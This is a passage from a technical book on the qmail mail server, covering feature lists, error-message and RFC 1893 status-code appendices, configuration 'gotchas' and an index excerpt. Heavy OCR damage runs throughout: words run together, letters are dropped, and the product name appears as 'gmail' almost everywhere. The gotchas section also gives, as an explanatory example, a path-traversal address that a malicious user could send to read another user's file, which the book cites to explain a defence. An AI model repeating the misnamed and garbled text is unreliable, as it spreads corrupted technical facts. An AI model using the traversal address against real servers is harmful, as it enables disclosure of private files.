Compartmentalization of delivery targets. Thereisaclear distinction between addresses, files, and
programs that prevents attackers from writing to security-critical files and executing arbitrary programswith
elevated privileges.

Minimization of setuid() code. Only one module, gmail-queue, runs setuid().
Minimization of root code. Only two modulesruns asroot: gmail-start and gmail-lspawn.

Five-way trust partitioning. Five gmail-specific user IDs are used to partition trust within the gmail system.
A compromise to the system should be contained to one partition.

L ogging. Using the QUEUE_EXTRA compile-time option, logging of one-way message hashes, entire
message contents, or other desired information is possible for al messages or subsets of messages (for
example, messages from or to a specified user or domain).
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M essage Construction

gmail includes the following message construction features:

RFC compliant. Messages built by gmail-inject comply with the Internet RFCs 2822 (message format) and
1123 (requirementsfor Internet hosts).

Addressgroups. Full support is provided for RFC 2822 address groups.

sendmail hook. A sendmail command isincluded for compatibility with current user agents.
Long header fields. Header linelengthislimited only by the avalable sysem memory.
Host masquer ading. Loca hosts can be hidden behind apublic mail relay.

User masguer ading. Loca users can be hidden behind aliases on amail server.

Automatic Mail-Followup-To creation. The Mail-Followup-To header field is used by the author of a
message to direct repliesto mailing-list messages to the appropriate address or addresses.
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SMTP Service

gmail includesthe following Simple Mail Transfer Protocol (SMTP) service fegtures:

RFC compliant. Complies with RFC 2821 (SMTP), RFC 1123, RFC 1651 (ESMTP), RFC 1652 (8-hit
MIME), and RFC 1854 (pipelining).

8-bit clean. Accepts 7-bit ASCII characters aswell as 8-bit extended characters.

SupportsIDENT (RFC 931/1413/TAP) callback. Thisalows cooperating mail administratorsto
determine the identity of users abusing the system.

Relay control. gmail automaticaly denies unauthorized relaying by outsders.

Automatic recognition of local Internet Protocol (1P) addresses. Messagesto jessica@[192.168.1.3]
arerecognized asloca by gmail-smtpd if 192.168.1.3 isaloca IP address.

Per-buffer timeouts. Each new buffer of datafrom the remote SM TP dient hasits own time limit.

Hop counting for detection of looping messages. Messages that pass through more than 100 delivery
hops are rejected.

Paralldism limit. Using tcpserver, which is part of the ucspi-tcp package, the number of concurrent
incoming SM TP sessions can be controlled.

Refusal of connections from known abusers. Using tcpserver, specific hosts and domains can be refused
accessto the SMTP server.



Relaying and message rewriting for authorized clients. The RELAY CLIENT environment variable can
be used to dlow authorized hosisto relay or to modify header fields for specified hosts.

Optional RBL support. Using rblsmtpd, from the ucspi-tcp package, access can be denied to known
senders of junk e-mail dso known as spam.
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Queue M anagement

gmail includes the following queue management features.

Instant handling of messages added to queue. New messages are always delivered immediately, subject
to resource availability.

Parallelism limits. The number of smultaneousloca and remote ddliveriesislimited and configurable.

Split queuedirectory. Some Unix file systems experience significant dow downswith large directories.
gmail splitsthe queueinto aconfigurable (at compilation) number of subdirectoriesto keep the number of
files per directory low.

Quadratic retry schedule. Unddivered messagesin the queue are retried less frequently asthey age-the
longer ahost has been unreachable, the lesslikdly it isto be reachable soon.

Independent messageretry schedules. Each message hasits own retry schedule. If along-down host
comes back, gmail won't immediately flood it with a huge backlog.

Automatic safe queuing. No mail islost if the system crashes.

Automatic per-recipient checkpointing. Each successful ddivery of amessageto multiple recipientsis
recorded, preventing the sending of duplicatesin the event of acrash.

Automatic queue cleanups. Interrupted queue injections can leave partidly injected messagesin the queue.
gmail-send automatically cleansthese out after 36 hours. gmail-clean removes messages after successtul
ddivery.

Queue viewing. gmail-gread displays the current contents of the queue.



Detailed delivery statistics. The gmailanadog package anayzes the gmail-send logs and produces delivery
datistics.
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Bounces

gmail includes the following non-deliverability report (bounce) features:

gmail-send Bounce M essage For mat (QSBM F) bounce messages. gmail's bounce messagesarein a
format that's both machine-readable and human-friendly.

Hash Convention for Mail System Status Codes (HCM SSC) support. Bounce messagesinclude
language-independent RFC 1893 error codes.

Double bounces sent to postmaster. Unddiverable bounce messages often indicate configuration errors,
s0 they're delivered to the postmaster dias, by defaullt.
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Routing by Domain
gmail includes the following features for routing messages by domain name:

Unlimited namesfor local host. Theloca system can have any number of aiases.

Unlimited virtual domains. One host can support any number of virtua domains-each with aseparate
name space.

Domain wildcards. Using the virtual domains support, domains can be wildcard matched for specid routing.

Configurable" percent hack™ support. Sendmail-style routed addresses-for example,
molly%eexample.com@example.net-can be supported.
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SMTP Delivery

gmall includesthefollowing SMTP ddivery fegtures:
RFC compliant. Complieswith RFC 2821 (SMTP), RFC 974 (Mail Routing), and RFC 1123.
8-bit clean. Sends 7-bit ASCII characters aswell as 8-bit extended characters.

Automatic downed host backoffs. If ahogt isunreachable, gmail waits an hour beforetrying again.

Artificial routing. Default routes for example, viaDNS M X records can be overridden using gmail's
smtproutes configuration file, which is equivaent to Sendmail's mallertable.

Per-buffer timeouts. Each new buffer of datato the remote SMTP sarver hasits own timelimit.

Passive SM TP queue. Mail can be queued to amailbox for scheduled ddlivery using the seriamall
package. Thisisuseful for SLIP/PPP.

AutoTURN support. Using the seridmail package, clients can tell the server to send them their queued mall.
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Forwarding and Mailing Lists

gmail supports forwarding and mailing ligs:

Sendmail .forward compatibility. Using the dot-forward package, Sendmail-style .forward files can be
used.

Hashed forwar ding databases. The fastforward package implements a high-performance forwarding
database.

Sendmail /etc/aliases compatibility. The fastforward package includes aclone of the newaliases command
that supports Sendmail-style dlias databases.

Addresswildcards. Using .gmail-default, .gmail-something-default, and so on, users and mail
adminigtrators can specify the disposition of messages to multiple addresses.

Mailing-list owners. If amessage isforwarded to .gmail-something, and .gmail-something-owner exigs,
it automatically gets areturn address of user-something-owner@domain. This diverts bounces and vacation
messages from going to the sender.

Variable Envelope Return Path (VERP) support. VERP dlowsreliable automatic recipient identification
for mailing-list bounces.

Delivered-To header field. Each"find" ddivery causesthe addition of aDelivered-To header fied
containing the recipient address. If amessage dready contains a Delivered-To for the current recipient, the
message isrgjected. This enables automatic loop prevention, even across hosts.

Automatic subscription management. The ezmlm package alows users to subscribe and unsubscribe
themsalves from mailing lists. It adso tracks bounces and removesinvalid addresses.
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L ocal Delivery

gmail supportsthe following loca ddivery features.

User -controlled address hierarchy. User lucy controls mail addressed to lucy-anything@domain.

Supports Unix mbox mailboxes. Supportsthetraditional Unix mailbox format: multiple messagesin one
file, separated by From lines.

Supports maildir mailboxes. Provides reliagble delivery to mailboxes-even over Network File System
(NFS)-using the maildir mailbox format.

User-controlled program delivery. Users can direct messagesto filters like Procmail or maildrop, custom
scripts, vacation reminders, and so on.

Optional new-mail notification. The gbiff program can be used to notify users upon receipt of new
messages.

Optional Notice-Requested-Upon-Delivery-To (NRUDT) return receipts. The greceipt program can
be used to respond to NRUDTS.

Conditional filtering. The condredirect and bouncesaying programs can be used to conditionally intercept
messages.
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POP3 Service

gmail includes a POP3 server with these festures:

RFC compliant. Complies with RFC 1939 (POP3).

UIDL support. gmail-pop3d implements the optional UIDL command, which liststhe unique ID of one or
more messages.

TOP support. gmail-pop3d implements the optiona TOP command, which returns the header and beginning
of agpecified message.

Modular password checking. The checkpassword package, available separately, implements password
vaidation. Versions supporting different authentication methods and user databases are available.

Authenticated Post Office Protocol (APOP) hook. APOPisavailable usng an dternative
checkpassword module.
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Appendix E: Error M essages

Mall transfer agents (MTAYS) are complex systems, and there are thousands of thingsthat go wrong in the process of
accepting amessage and ddlivering it localy or remotely. Because gmail wasimplemented with high reliability asa
god, it'sparticularly careful in checking for error conditions. Its error messages are generdly very descriptive, but
sometimesit can be difficult to pinpoint the exact cause of the problem that gmail is complaining about. Rather than
atempting to explain each of the hundreds of error messages gmail can generate, this gppendix provides some
guidancefor interpreting these messages.

Error messages can show up in three places: in an interactive shell session, in one of thelog files, or in abounce
message.

|nter active Error Messages

Interactive errors are usudly the result of "pilot error”-incorrect syntax, permission problems, typographic errors, and
S0 on. First determine whether the error message is coming from the shell or the gmail command you're running. If the
message isfrom agmail program, consult the man page or Chapter 3 (for user commands) or Chapter 5 (for
management commands).

If you run across an error message and you can't figure out what the problem is, try searching the archives of the
gmail mailing list. Chances are good that someone has aready been there, asked that question, and gotten an answer.
Theligt search engineisat http://www-archive.ornl.gov:8000/.
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L og M essages

The only logs written by gmail are produced by gmail-send. (The gmail-smtpd logs are redlly from tcpserver). The
errorslogged by gmail-send come from itsdlf, gmail-locd, or gmail-remote.

gmail-send M essages

Errorslogged by gmail-send contain the string "dert:" if the problemiscritical or the string "warning:” if the problemis
serious but not crippling. Errors of either severity are serious and should be investigated immediately.

Critica problemsinclude theinahility to accessthe gmail home directory, the queue, or the contral files; theinability
to talk to its helpers. gmail-lspawn, gmail-rpawn, or gmail-clean; and the inability to gppend to a queue/bouncefile.
Verify that the directory it's complaining about exists and has the right owner/group/mode. The easiest way to do this
isto stop gmail and do make check from the build directory asroot.

The message "dert: cannot sart: hath the daemon spawn no fire?' meansthat the communication channelsto
gmail-lspawn, gmail-rgpawn, or gmail-clean weren't set up perhaps because gmail-start had trouble starting them.

gmail-local M essages

Errorslogged by gmail-locd are usudly temporary and related to permission problems or full file systems (including
file systems with space but no free inodes).

Two permanent errors are:

Thismessageislooping: it aready hasmy Ddlivered-To line. (#5.4.6). A looping message isamessage
ddivered twice to the same address usualy due to adot-gmail forwarding instruction that forwardsto an
addressthat forwardsit back. Check the Received fields and logs to find the culprit.

Sorry, no mailbox here by that name. (#5.1.1). Thisis obvious enough, but sometimes you get this message
when you're sure the mailbox exists. Well, you're probably wrong. The problem isusually because of gmail's
narrow definition of avalid mail user, as detailed in the gmail-getpw man page and in Chapter 5, "Managing
gmail." Typica problemsinclude uppercase charactersin the username and home directories not owned by
the user.



Tip
Seethe" RFC 1893 Status Codes"
section later in this appendix for an
explanation of the" (#x.x.X)" codes.

Common temporary errorsinclude:

Uh-oh: home directory iswritable. (#4.7.0).

Uh-oh:.gmall fileiswritable. (#4.7.0).

Both of these errorsindicate that either the user's home directory or dot-gmail fileiswritable by usersthat the
conf-patrn compile-time configuration setting prohibits. (See Chapter 2, "Ingaling gmail”.)

gmail-remote M essages

gmail-remote generates its own messages and rel ays messages from remote hosts. Remote messages are sent by
various M TAs but are usually pretty easy to interpret.

Common gmail-remote error messagesinclude:

Sorry, | wasn't able to establish an SMTP connection. (#4.4.1). gmail-remote has not been able to connect
to the remote server. Mot likely the remote server isdown, but it could also indicate a network problem
anywhere between the two systems.

CNAME lookup failed temporarily. (#4.4.3). gmail-remote tried to look up the Internet Protocol (1P)
address of the remote server in the Domain Name System (DNS) and received atemporary error.

Sorry, | couldn't find any host by that name. (#4.1.2). Again, gmail-remote was unable to find an | P address.
Thisisatemporary error, soit'll keep trying.

Sorry. Although I'm listed as a best-preference MX or A for that hog, it isn't in my control/localsfile, so |
don't treet it aslocal. (#5.4.6). gmail-remote looked up the | P address for a remote host and found that it
was the locd host. However, the host wasn't listed in control/locals or the delivery would have been given to
gmail-local. Either fix control/locas or your DNS records.
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Bounce M essages

gmail's bounce messages are in aformat called QSBMF (gmail-send bounce message format), which is documented
on the Web (http://cr.yp.to/proto/gsbmf.txt). RFCs 1892, 1893, and 1894 define another bounce message format
caled Delivery Status Notification (DSN). The status codes defined in RFC 1893 are aso used by QSBMF and
other non-DSN bounce message formats. Some MTAs il use their own ad-hoc bounce message formats.

QSBMF

QSBMF messages are designed to be smultaneoudy human-friendly and easily parsed by automated bounce
handlers. Ligting E-1 shows atypica bounce message.

Ligting E-1: A QSMBF bounce message

MAI LER- DAEMON@Jol phi n. exanpl e. com
ave@lol phi n. exanpl e. com
Subj ect: failure notice

H. This is the qmail-send program at dol phin. exanpl e. com
I"'mafraid | wasn't able to deliver your nmessage to the foll owi ng addresses.
This is a permanent error; |'ve given up. Sorry it didn't work out.

<nosuchuser @ol phi n. exanpl e. conp:
Sorry, no mail box here by that nanme. (#5.1.1)

-- Belowthis line is a copy of the message.

Ret ur n- Pat h: <dave@lol phi n. exanpl e. con

Recei ved: (gmail 3458 invoked by uid 500); 26 Aug 2001 21:56:48 -0000
Date: 26 Aug 2001 21:56:48 -0000

Message- | D: <20010826215648. 3457. qrai | @lol phi n. exanpl e. conp

From dave@lol phi n. exanpl e. com

to: nosuchuser @ol phi n. exanpl e. com

The body of a QSBMF message consists of four parts: an introductory paragraph, a series of one or more recipient
paragraphs, a break paragraph, and a copy of the origina message. Blank lines separate the paragraphs.

In this case, theintroductory paragraphis:

H. This is the qmail-send program at dol phin. exanpl e. com
I"'mafraid | wasn't able to deliver your nmessage to the follow ng addresses.
This is a permanent error; |'ve given up. Sorry it didn't work out.

Theinitid string, Hi. Thisisthe..., identifies the message as QSBMF. This paragraph isintended for human readers
and identifies the source of the message.


http://cr.yp.to/proto/qsbmf.txt
http://cr.yp.to/proto/qsbmf.txt

Therecipient paragraph in thisexampleisthis.

<nosuchuser @ol phi n. exanpl e. conp:
Sorry, no mail box here by that nanme. (#5.1.1)

Thefirst line identifies the problematic recipient address, and the second lineis adescription of the problem. The
(#5.1.1) isan RFC 1893 status code- these will be explained in the next section.

The break paragraph startswith a- character. Inthisexample, it'sthisline:

- Below this Iine is a copy of the message.

The remainder of the bounce messageisthe copy of the origind message.

Aninteresting specid caseisthat of the double bounce: the bounce message sent to the postmaster when a bounce
message is unddiverable. With double bounces, the message included isthe original bounce message-a QSBMF
bounce enclosed in another QSBMF bounce.

RFC 1893 Status Codes

These are three-digit codes displayed as C.S.D, where C isthe class sub-code, Sisthe subject sub-code, and D is
the detail sub-code.

The class sub-code is one of three values: 2 (success), 4 (temporary error), or 5 (permanent error). They correlate
with theinitia digits of SMTP satus codes.

The subject sub-code has seven possible values, aslisted in Table E-1.

Table E-1: RFC 1893 Subject Sub-Codes

CODE NAME MEANING

X.0x Other or Undefined Status Problem unknown or undefined

X.1X Address Status Problem with sender or recipient
address syntax or vdidity




X.2.X Mailbox Status Problem with the recipient's mailbox

X.3.X Mall System Status Problem with the recipient host's mall
sysem

X.4X Network and Routing Status Problem with network or routing

X.5.X Mail Delivery Protocol Status Problemwith mail ddivery

X.6.X Message Content or MediaStatus  |Problem with message content or
format

X.7.X Security or Policy Status Problem with security or policy

The detail sub-codes vary with subject sub-code. The only valid detail sub-code for subject sub-code 0isO: If an
MTA doesn't know what subject sub-code applies, it doesn't make senseto categorize it at alower level. The detall
sub-codes for the other subject sub-codes are listed in Tables E-2 through E-8.

Table E-2: RFC 1893 Address Status Detail Sub-Codes

CODE MEANING

x.1.0 Unknown problem with an address specified in this
message

x.1.1 Nonexistent recipient (part left of @)

x.1.2 Invalid destination host (part right of @)

x.1.3 Bad destination address syntax

x.14 Ambiguous destination

x.1.5 Védid degtinetion

x.1.6 Recipient has moved without aforwarding address




x.1.7 Bad sender's address syntax
x.1.8 Bad sender's host
Table E-3: RFC 1893 Mailbox Status Detail Sub-Codes
CODE MEANING
x.2.0 Unknown problem with an exigting mailbox
x.2.1 Mailbox disabled
X.2.2 Mailbox full
x.2.3 Message too big
X.2.4 Problem sending to mailing list

Table E-4: RFC 1893 Mail System Status Detail Sub-Codes

CODE MEANING

x.3.0 Unknown/cther problem with destination host's mall
sysem

x.3.1 Mail sysemfull

X.3.2 Not accepting messages

x.3.3 Mail system doesn't support requested feature

x.34 Message too big

X.3.5 Mail systlem misconfigured

Table E-5: RFC 1893 Network and Routing Status Detail

Sub-Codes

CODE

MEANING




x.4.0 Unknown/other network problem
x.4.1 No answer from host

x.4.2 Bad connection

x.4.3 Directory servicefalure

x.4.4 Unable to route

X.4.5 Mail system congestion

X.4.6 Routing loop detected

x.4.7 Delivery time expired

Table E-6: RFC 1893 Mail Ddlivery Protocol Status Detail Sub-Codes

CODE MEANING

x.5.0 Unknown/other problem ddlivering to next hop
x.5.1 Invalid command

x.5.2 Syntax error

x.5.3 Too many recipients

x.5.4 Invaid command arguments

x.5.5 Wrong protocol version

Table E-7: RFC 1893 Message Content or Message Media Status Detail Sub-Codes

CODE MEANING




X.6.0 Unknown/other problem with message content
X.6.1 Media (format) not supported

X.6.2 Conversion necessary but prohibited

X.6.3 Conversion necessary but not supported

X.6.4 Message converted but with dataloss

X.6.5 Converson faled

Table E-8: RFC 1893 Security or Policy Status Detail Sub-Codes

CODE MEANING

x.7.0 Unknown/other security problem

x.7.1 Délivery not authorized, message refused
X.7.2 Ddlivery to mailing list prohibited

X.7.3 Security conversion required but not possible
X.74 Security features not supported

X.7.5 Cryptographic failure

X.7.6 Cryptographic agorithm not supported

X.17.7 Message integyrity failure
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Appendix F: Gotchas

For the most part, gmail works the way people expect it to work. There are, however, afew gotchas: quirksin
gmail's behavior that frequently cause problemsfor beginners.

gmail Doesn't Deliver to Superusers

To prevent the possibility of gmail-loca running commands as a privileged user, gmail ignoresal userswhose user ID
iszero. Thisis documented in the gmail-getpw man page.

That doesn't mean gmail won't deliver to roat, it just meansthat such addivery will haveto be handled by a
non-privileged user. Typicaly, one creates an diasfor root by populating /var/gmail/dias/.gmail-root with an entry
that forwards to the system administrator's unprivileged account.
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gmail Doesn't Deliver to UsersWho Don't Own
Their Home Directory

Thisisanother security festure and just good generd practice. Thisis documented in the gmail-getpw man page.
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gmail Doesn't Deliver to Users Whose User names
Contain Uppercase L etters

gmail convertsthe entire "local part" everything before the @ in an address to lowercase. The man page doesn't
come out and say that, but the code does. The fact that it ignores users with uppercase charactersis documented in
the gmail-getpw man page.
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gmail Replaces Dots (.) in Extension Addresses
with Colons (:)

Thisisanother security feature. The purposeisto prevent extension addresses from backing up thefiletreeusing ...
Without this restriction, amalicious user could attempt addivery to joe-../jane/foo@example.com hoping to attempt
ddivery viathe dot-gmail file ~joe/.gmail-/../jane/foo-perhaps disclosing the contents of ~jane/foo in the form of a
bounce message. By replacing dots with colons, gmail ensuresthat all dot-gmail filesfor auser are under their home
directory. Thisis documented in the gmail-local man page.
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gmail Converts Uppercase Charactersin
Extension Addressesto L owercase

Thisisanother result of the fact that gmail lowercases the entirelocal part of addresses, and it is documented in the
gmail-loca man page.
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gmail Doesn't Use/etc/hosts

gmall never uses/etc/hosts to determine the Internet Protocol (IP) address associated with ahost name. If you use
namesin control files, gmail must have accessto aname server.

It is possible to run gmail on systems without access to a name server. Hosts in control files can be specified by IP
address by enclosing them in square brackets ([]), for example:

[10. 1. 2. 219]

Actually, the square brackets aren't dways necessary-but it's a good idea to use them anyway.
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gmail Doesn't Log SMTP Activity

For whatever reasons, gmail doesn't log SMTP connections, reections, invalid commands, or valid commands.
tcpserver can be used to log connections, and recordio can be used to log the entire SMTP dialogue. recordio is part
of the ucspi-tcp package (see Appendix B, "Related Packages'). The procedure is documented in Chapter 7,
"Troubleshoating gmail.”
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gmail Doesn't Generate Deferral Notices

If Sendmail is unableto deliver amessage within afew hours, typicaly four, it sendsadeferra noticeto the
originator. These notices look like bounce messages but don't indicate that the delivery has failed permanently yet.

gmail doesn't send such warnings. A temporarily undeliverable message will only be returned to the originator after it
spends at least queuelifetime secondsin the queue.
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gmail IsSow If trigger IsWrong

gmail-queue and gmail-send communicate viaa named pipe called /var/gmail/queue/l ock/trigger. If this pipe gets
messed up, gmail-send doesn't notice new messages for up to 25 minutes.

The best way to ensure that trigger is set up right isto run make check from the source directory. If that's not
possible, make sureit looks like this:

# 1s -1 /var/qmail/queue/lock/trigger
prw w w 1 qmails gmai | 0 Jul 5 21:25 /var/qmail/queue/l ock/trigger
#

Pay particular attention to the p a the beginning of the line, which saysthat it's a named pipe, the mode (must be
world-writable), the owner, and the group.
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DNSor IDENT LookupsCan Make SM TP Sow

If gmail-smtpd is dow to respond to connections, the problem is probably because of Domain Name System (DNS)
reverse lookups or IDENT lookups having to time out. If the problem is DNS-related, the best fix isto correct your
DNS configuration. Another gpproach isto configure tcpserver not to attempt the lookups. That might be an option if
you don't need the information these lookups provide. This can be accomplished by removing the -h, -p, and -r
optionsand adding -H, -P, -R, and -| O (&l zero).
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gmail-smtpd Accepts Mail for All Recipients

The control/repthosts file pecifies the hosts for which gmail-smtpd will accept messages (unlessRELAY CLIENT is
st to dlow rdaying). However, gmail-smtpd does not attempt to validate the recipient. If aninvaid recipient is
specified, gmail-send will generate abounce message. Thisis often aproblem for smplistic open-relay testing
programs that wrongly assume successful SMTP injection means successful ddlivery.

For example, acommon relay test isto send a message to recipient%testhost @yourdomain, which rdieson the
Sendmail percent hack: stripping @yourdomain, replacing the % with @, resulting in recipient @testhost, and
reinjecting the message to the new address.

With gmail, unless the control/percenthack fileisin use, such atest merdly triesto ddiver amessageto the local
mailbox recipient%testhost, which probably doesn't exist. The result is abounce message sent to the return address
specified by therelay tester.
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gmail-smtpd Doesn't Automatically Relay for the
L ocal Host

By default, gmail-smtpd doesn't accept messages for remote hosts-even if the SMTP client isaMail User Agent
(MUA) running on the local hogt. If you want to dlow local MUASto inject mail viaSMTP, you must enable
selective relaying and grant relay accessto 127.0.0.1, the local host. See Chapter 3, "Configuring gmail: The Basics”
for more informeation about sdlective relaying.
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SYMBOLS

/ (trailing dashes), and gmail configuration, 242
/bin/mail, 240

/etc/group, 60

/etc/hosts gotcha, 466

Ivarllog, 203

Nalgmail

and filestructure, 17

symbalic links under, 33

Ivarlgmail/rc script, 67

. (dot)

in extension addresses gotcha, 466

forward, and delivery disposition, 237

.gmail. See dot-gmall

-i gmail-inject option, and QMAILINJECT, 130
-t sendmail option, 124

@ (at sign), in POP3 usernames, 383
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A

A Mall Virus Scanner (AMaVviS), 404
addresses

distinction from programs and files, 4
extension addresses, 141

case of characters gotcha, 466

dots (.) in extension addresses gotcha, 466
filtering messagesand, 145 146

junk mail control and, 287, 294

receiving messagesand, 141 142
gmail-inject

name-address format and, 131
address-comment format and, 131
qudification and, 419

setting envel ope sender addresses, 129 130
tagged addresses, 294

adjusting message lifetimed/retry schedules, 192
advantages and disadvantages of gmail, 39
disadvantages, 9, 16

performance, 6 7

religbility, 7

security, 36

amplicity, 89

advisory spam controls, defined, 285, 287
AlX, creating users and groupsin, 60
diases, 116

Nvar/lgmail directory, 17

advanced configuring, 245 249

configuring, 116 117

cregting system diases, 49, 77

support of host name diases, 14

Allbery, Russ, and Mgordomo FAQs, 305, 313
armfunctionin gmailctl, 162

AMaViS, 404

Anti-Spam HOWTO Web site, 285
APOP authentication, 358 362

Apress Web site, 27

architecture. See file Sructure; modular system architecture
assgn, and singledot (.), 117

a sgn (@), in POP3 usernames, 383
authenticated relaying, 113 115
authentication

of IMAP, 367 369




of POP3, 353
of SMTP, 264 273

[+ Previous] < Free Open Study >




< Free Open Study >

| ndex

B

backup mail exchanger, 226-228
badmailfrom

control file, 95

controlling junk mail and, 288-289
Berkeley Internet Name Daemon (BIND), 432
Berngein, Danid J.

checkpassword and, 431
cryptography and, 15

djibdnsand, 432

dot-forward and, 433

efficient code of, 9

ezmimand, 297, 433

fastforward and, 434

mess322 and, 435

gmail security guarantee and, 4
gmailanalog and, 437
gmail'sbeginningsand, 1, 15
QMTPand, 254

rblsmtpd and, 289

seridmail and, 439-440

ucspi-tcp and, 441

VERPand, 395

big-concurrency patch, 252
big-todo patch, 277

bin ivar/gmall directory, 17

binaries, and indalation of gmail, 28
BIND (Berkeley Internet Name Daemon), 432
blackliging, 292, 293

blacklists. See under DNS

boot /var/gmail directory, 17

boot script

configuring at indtaletion, 57-58
Sefting up, 45-46

bounce

messages, and error messages, 459-464
QSBMF, 460-461

RFC 1893 status codes, 461-464
queue subdirectory contents, 18
bouncefrom control file, 95
bouncehost contral file, 95-96
bounces, handling of, 13-14
bouncesaying dot-gmail utility, 148-149




rc.locd

Nvar/gmail/bin/gmailctl and system boots, 71-72
updating, 46

Budney, Len, and safecat, 439

buffer size, and DNS patches, 252

build environments, verification for indalation
quick-start and, 38-39

step-by-step ingtallation and, 53-54

building gmall

quick-start and, 42-43

step-by-step ingtallation and, 61-63

building source, 55-66

compile-time configuration settings, 57-58
creating directories, 59

creating users and groups, 59-61
daemontooals, indtaling, 64-66

gmail, ingdling, 61-63

ucspi-tep, indaling, 63-64

unpacking digtributions, 55-57
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C

C runtimelibrary, defined, 6

caching, and DNS, 284

Cazabon, Charles, getmail and, 371, 434
Ccfields, and troubleshooting, 215
cdb functioningmailctl, 164
certificates, self-signed vs. CA-sgned, 266
channelsfor gmail-send, listed, 179
checkpassword programs
gmail-pop3d and, 329, 431

using different, 359

CNAME lookup failed temporarily error message, 459
code, See also source-code
efficency of, 9

security and, 6

codelistings

Ivarlgmail/rc script, 67
asmplemallinglist, 296

env examplefile, 135

msg examplefile, 125-126, 135
gmail-procmail, 147

gmailctl script, 69-71

commeands

ezmim command addresses, 304-305
ezmim-sub and ezmim-unsub, 304
for listing processes, 200

grep commands, delivery and, 141
maildirsmtp command, 232

opensd command, 267

gmail management commeands, 165-187
gmail-clean, 165

gmail-getpw, 166-167

gmail-locd, 168-169

gmail-lspawn, 169

gmail-newmrh, 170

gmail-newu, 170

gmail-pop3d, 170-171

gmail-popup, 171-172

gmail-pw2u, 172-175

gmail-gmapc, 175

gmail-gmapd, 175

gmail-gmtpd, 176

gmail-gread, 176-177



gmail-qgtat, 177

gmail-remote, 177-179

gmail-rspawn, 179

gmail-send, 179-180

gmail-showctl, 180-182

gmail-smtpd, 183

gmail-gart, 184

gmail-tcpok, 184-185

gmail-tcpto, 185

splogger, 185-186

tcp-env, 186-187

sendmail command, 419

setlock command, 232

comments (persond names), setting, 129
compile-time settings, configuring a ingallation, 57-58
concurrencies, tuning, 278
concurrencyimap control file, 347, 365
concurrencyincoming control file, 96
concurrencyloca control file, 96-97, 252

concurrencypop3 contral file, 330, 335,

concurrencyremote control file, 97, 252
condredirect dot-gmail utility, 150
conf-split, adjusting, 275-277
configuring

diasss, 116-117

a indallation, 66-77

boot script, 66-68

SMTP access control, 76
sysemdiases, 77

system startup files, 68-76

getrml, 372

multiple host names, 115

gmail-users mechaniam, 117-119
scalable servers, 395-401

mail, 396-399

mailbox delivery and service, 399-401
sysem startup files, 73-76

virtud domains, 115-116

VMalMgr, 380-381

Vpopmail, 386-387

configuring gmal

diasss, 116-117

a ingdlation, compile-time settings, 57-58
control filesreference, 93-110, See also under files
badmailfrom, 95

bouncefrom, 95

bouncehost, 95-96
concurrencyincoming, 96
concurrencyloca, 96-97
concurrencyremote, 97

datatypes, 97-98

defaultddivery, 98-99

defaultdomain, 99

defaulthost, 99-100
doublebouncehost, 100




doublebounceto, 100

envnoathost, 101

helohogt, 101

idhogt, 101

localiphost, 102

locals, 102

me, 102-103

morerecpthosts, 103

percenthack, 103-104

plusdomain, 104

gmapservers, 104

queudifetime, 104-105

rcpthosts, 105-106

smtpgreeting, 106

smtproutes, 107

timeoutconnect, 108

timeoutremote, 108

timeoutsmtpd, 108-109
understanding formet of, 94
virtuddomains, 109-110

multiple host names, 115
gmail-users mechanism, 117-119
relaying, 110-115

dlowing Hective, 112-115

control of, 111-112

disabling, 112

virtud domains, 115-116
configuring gmail, advanced options, 225-284
migrating from Sendmail to gmail, 237-249
diases, 245-249

dot-forward package, 237-239
mailbox location and format, 239-245
modifying source-code, 249-254
frequently used patches, 251-254
indtalling patches, 250-251
performancetuning, 273-284
determining problems, 274

tuning network, 283-284

tuning gmail, 275-278

tuning system hardware, 280-283
tuning system software, 279-280
QMQP, 258-264

nullmailer and, 264

setting up QM QP clients (minigmall), 261-264
setting up QM QP services, 259-261
QMTP, 254, 255-258

basics, 255-258

setting up QM TP services, 254-255
securing SMTP, 264-273
SSL-wrapped SMTP, 269-273
STARTTLS, 265-269

Setting up typica configurations, 226-236
backup mail exchanger, 226-228
did-up client, 230-233

generd purpose mail server, 226




mailbox servers, 235-236

null dient, 228-230

smart host, 233-235
connectivity, and tuning networks, 283
consultants, for support, 25

cont functionin gmailctl, 164
control /var/gmail directory, 17
control files

badmailfrom, 95

bouncefrom, 95

bouncehost, 95-96
concurrencyimap, 347, 365
concurrencyincoming, 96
concurrencyloca, 96-97
concurrencypop3, 330, 335, 340

concurrencyremote, 97
datatypes, 97-98
defaultddivery, 98-99
defaultdomain, 99
defaulthost, 99-100
doublebouncehost, 100
doublebounceto, 100
envnoathodt, 101
helohost, 101

idhogt, 101

locdliphost, 102

locals, 102

me, 102-103
morerecpthosts, 103
overriding gmail-inject's contral files, 130
percenthack, 103-104
plusdomain, 104
gmapservers, 104
queudifetime, 104-105
rcpthosts, 105-106
smtpgreeting, 106
smtproutes, 107
timeoutconnect, 108
timeoutremote, 108
timeoutsmtpd, 108-109
virtuddomains, 109-110
copyright of gmail, 19-20
Courier, 11
Courier-IMAP, 350-353
basics, 432

ingdling, 350-352

SSL wrapping, 362-364
testing, 352-353

CPU (Centrd Processing Unit) tuning, 280
CRAM-MDS5 authentication, 367-369
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daemons, checking, 79 80

daemontools, See also multilog

basics, 432

defined, 37

quick-gtart ingdlation, 43 45

step-by-step ingtalation, 64 66

datatypes control file, 97 98

Date fields, troubleshooting, 214

datemail utility, 150 151

Davis, Christopher K., and DNS patches, 252
defaultddlivery vaues, mailbox formats and locations and, 68
defaultdomain contral file, 99

deferral notices gotcha, 467

Ddlivered-To field, and troubleshooting, 211 212
ddivery

conditiond, 141

digtributing, 399 400

dot-gmail delivery typeslisted, 136

error handling, 139 140

forward delivery, 138 139

local ddlivery options, 15

malldir ddivery, 138

mbox delivery, 137

migrating to home directory ddivery, 241 242
multiple ddiveries, 139 141

gmail-send log messages of, 203 206
program delivery, 137

gmail-send and, 426

Sendmail-gtyle ddivery, 240 241
smplemailing ligsand, 296

sngle-recipient vs. multiple-recipient, 391 394
unsuccessul, 204 206, 218, 220 222
diagnogtic toolsfor queues, 188 191

did-up client configuration, 230 233
directories, See also subdirectories

Narlgmall listed, 17

cregting at indtalation, 59

home directories

migrating to home directory ddlivery, 241 242
moving mailboxesto, 243 244

ingtallation directory comparison for gmail+patchesvs. tarball, 90
master




cregting, 40

in/var/gmail, 33

disadvantages

of modular approach, 16

of gmail, 9

disk I/Otuning, 281

disk interfaces, and tuning disk 1/0, 281
distances, and M X records, 226

djbdns server package

basics, 432 433

dnscache and, 251 252

DNS

blacklists, 289 290

directing mail to virtual domainsand, 380, 386
DNS caching, and tuning networks, 284
